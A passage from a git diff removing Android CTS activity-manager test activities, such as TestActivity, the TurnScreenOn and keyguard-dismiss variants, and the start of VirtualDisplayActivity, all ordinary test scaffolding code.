- initialize();
- }
-
- public SwipeRefreshLayout(Context context, AttributeSet attrs) {
- super(context, attrs);
- initialize();
- }
-
- private void initialize() {
- setRefreshing(true);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java
deleted file mode 100644
index f9a86c6..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.res.Configuration;
-import android.os.Bundle;
-import android.util.Log;
-
-public class TestActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = TestActivity.class.getSimpleName();
-
- // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
- private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
-
- // Finishes the activity
- private static final String ACTION_FINISH_SELF = "android.server.cts.TestActivity.finish_self";
-
- private BroadcastReceiver mReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent != null && intent.getAction().equals(ACTION_FINISH_SELF)) {
- finish();
- }
- }
- };
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
-
- // Set the fixed orientation if requested
- if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
- final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
- setRequestedOrientation(ori);
- }
- }
-
- @Override
- protected void onStart() {
- super.onStart();
- registerReceiver(mReceiver, new IntentFilter(ACTION_FINISH_SELF));
- }
-
- @Override
- protected void onResume() {
- super.onResume();
- final Configuration config = getResources().getConfiguration();
- dumpDisplaySize(config);
- dumpConfiguration(config);
- }
-
- @Override
- protected void onStop() {
- super.onStop();
- unregisterReceiver(mReceiver);
- }
-
- @Override
- public void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
- dumpDisplaySize(newConfig);
- dumpConfiguration(newConfig);
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
deleted file mode 100644
index db75dee..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.PictureInPictureParams;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.res.Configuration;
-import android.os.Bundle;
-import android.util.Log;
-
-public class TestActivityWithSameAffinity extends TestActivity {
-
- private static final String TAG = TestActivityWithSameAffinity.class.getSimpleName();
-
- // Calls enterPictureInPicture() on creation
- private static final String EXTRA_ENTER_PIP = "enter_pip";
- // Starts the activity (component name) provided by the value at the end of onCreate
- private static final String EXTRA_START_ACTIVITY = "start_activity";
- // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
- private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
-
- // Enter picture in picture if requested
- if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
- enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
- }
-
- // Launch a new activity if requested
- String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
- if (launchActivityComponent != null) {
- Intent launchIntent = new Intent();
- launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
- startActivity(launchIntent);
- }
- }
-
- @Override
- protected void onResume() {
- super.onResume();
-
- // Finish self if requested
- if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
- finish();
- }
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java
deleted file mode 100644
index 6684999..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.os.Handler;
-import android.os.Bundle;
-import android.util.Log;
-
-public class TopActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = TopActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
- if (useWallpaper) {
- setTheme(R.style.WallpaperTheme);
- }
-
- final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
- if (finishDelay > 0) {
- Handler handler = new Handler();
- handler.postDelayed(new Runnable() {
- @Override
- public void run() {
- Log.d(TAG, "Calling finish()");
- finish();
- }
- }, finishDelay);
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java
deleted file mode 100644
index 2305582..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class TopLeftLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java
deleted file mode 100644
index 701d3db..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class TopRightLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java
deleted file mode 100644
index b3f9444..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.os.Bundle;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.content.Intent;
-
-public class TrampolineActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = TrampolineActivity.class.getSimpleName();
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- // Add a delay here to expose more easily a failure case where the real target
- // activity is visible before it's launched, because its task is being brought
- // to foreground. We need to verify that 'am start' is unblocked correctly.
- try {
- Thread.sleep(2000);
- } catch(InterruptedException e) {}
- Intent intent = new Intent(this, SingleTaskActivity.class);
- intent.setFlags(FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_NEW_TASK);
-
- startActivity(intent);
- finish();
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java
deleted file mode 100644
index 96697aa..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class TranslucentActivity extends Activity {
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java
deleted file mode 100644
index e979712..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class TranslucentAssistantActivity extends AssistantActivity {
-
- /**
- * Launches a new instance of the TranslucentAssistantActivity directly into the assistant
- * stack.
- */
- static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
- final Intent intent = new Intent(caller, TranslucentAssistantActivity.class);
- intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
- if (extras != null) {
- intent.putExtras(extras);
- }
-
- final ActivityOptions options = ActivityOptions.makeBasic();
- options.setLaunchStackId(6 /* ActivityManager.StackId.ASSISTANT_STACK_ID */);
- caller.startActivity(intent, options.toBundle());
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java
deleted file mode 100644
index 1d10a51..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.os.Bundle;
-
-public class TranslucentTestActivity extends TestActivity {
-
- private static final String TAG = TranslucentTestActivity.class.getSimpleName();
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
-
- setContentView(R.layout.task_overlay);
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java
deleted file mode 100644
index 9d96898..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.os.Handler;
-import android.os.Bundle;
-import android.util.Log;
-
-public class TranslucentTopActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = TranslucentTopActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
- if (useWallpaper) {
- setTheme(R.style.TranslucentWallpaperTheme);
- }
-
- final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
- if (finishDelay > 0) {
- Handler handler = new Handler();
- handler.postDelayed(new Runnable() {
- @Override
- public void run() {
- Log.d(TAG, "Calling finish()");
- finish();
- }
- }, finishDelay);
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java
deleted file mode 100644
index 79e31b3..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class TurnScreenOnActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
- | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
- | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
- | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
- super.onCreate(savedInstanceState);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
deleted file mode 100644
index 5e1f5d1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class TurnScreenOnAttrActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = TurnScreenOnAttrActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
deleted file mode 100644
index b1b860f..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.KeyguardManager;
-import android.os.Bundle;
-
-public class TurnScreenOnAttrDismissKeyguardActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = TurnScreenOnAttrDismissKeyguardActivity.class.getSimpleName();
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
- ((KeyguardManager) getSystemService(KEYGUARD_SERVICE))
- .requestDismissKeyguard(this, new KeyguardDismissLoggerCallback(this));
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
deleted file mode 100644
index 29911fe..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class TurnScreenOnAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = TurnScreenOnAttrRemoveAttrActivity.class.getSimpleName();
-
- @Override
- protected void onStop() {
- super.onStop();
- setTurnScreenOn(false);
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java
deleted file mode 100644
index 487f785..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class TurnScreenOnDismissKeyguardActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
- | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
- getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
- new KeyguardDismissLoggerCallback(this));
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
deleted file mode 100644
index 57ff4fb..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class TurnScreenOnShowOnLockActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = TurnScreenOnShowOnLockActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
deleted file mode 100644
index 29c71d0..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class TurnScreenOnSingleTaskActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = TurnScreenOnSingleTaskActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
deleted file mode 100644
index 14c2801..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-import android.view.WindowManager;
-
-public class TurnScreenOnWithRelayoutActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = TurnScreenOnWithRelayoutActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
- @Override
- protected void onStart() {
- super.onStart();
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
- | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
- }
-
- @Override
- protected void onStop() {
- super.onStop();
-
- // This is to force a relayout, specifically with insets changed. When the insets are
- // changed, it will trigger a performShow that could turn the screen on.
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
deleted file mode 100644
index dd12acb..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
-import android.os.Bundle;
-import android.server.cts.tools.ActivityLauncher;
-import android.util.Log;
-import android.view.Surface;
-import android.view.SurfaceHolder;
-import android.view.SurfaceView;
-import android.view.ViewGroup;
-
-import java.util.HashMap;
-
-/**
- * Activity that is able to create and destroy a virtual display.
- */
-public class VirtualDisplayActivity extends Activity implements SurfaceHolder.Callback {
- private static final String TAG = "VirtualDisplayActivity";
-
- private static final int DEFAULT_DENSITY_DPI = 160;
- private static final String KEY_DENSITY_DPI = "density_dpi";
- private static final String KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD
- = "can_show_with_insecure_keyguard";
- private static final String KEY_PUBLIC_DISPLAY = "public_display";
- private static final String KEY_RESIZE_DISPLAY = "resize_display";
- private static final String KEY_LAUNCH_TARGET_ACTIVITY = "launch_target_activity";
- private static final String KEY_COUNT = "count";
-
- private DisplayManager mDisplayManager;
-
- // Container for details about a pending virtual display creation request.
- private static class VirtualDisplayRequest {
- public final SurfaceView surfaceView;
- public final Bundle extras;
-
- public VirtualDisplayRequest(SurfaceView surfaceView, Bundle extras) {
- this.surfaceView = surfaceView;
- this.extras = extras;
- }
- }
-
- // Container to hold association between an active virtual display and surface view.
- private static class VirtualDisplayEntry {
- public final VirtualDisplay display;
- public final SurfaceView surfaceView;
- public final boolean resizeDisplay;
- public final int density;
-
- public VirtualDisplayEntry(VirtualDisplay display, SurfaceView surfaceView, int density,
- boolean resizeDisplay) {
- this.display = display;
- this.surfaceView = surfaceView;
- this.density = density;
- this.resizeDisplay = resizeDisplay;
- }
- }
-
- private HashMap<Surface, VirtualDisplayRequest> mPendingDisplayRequests;
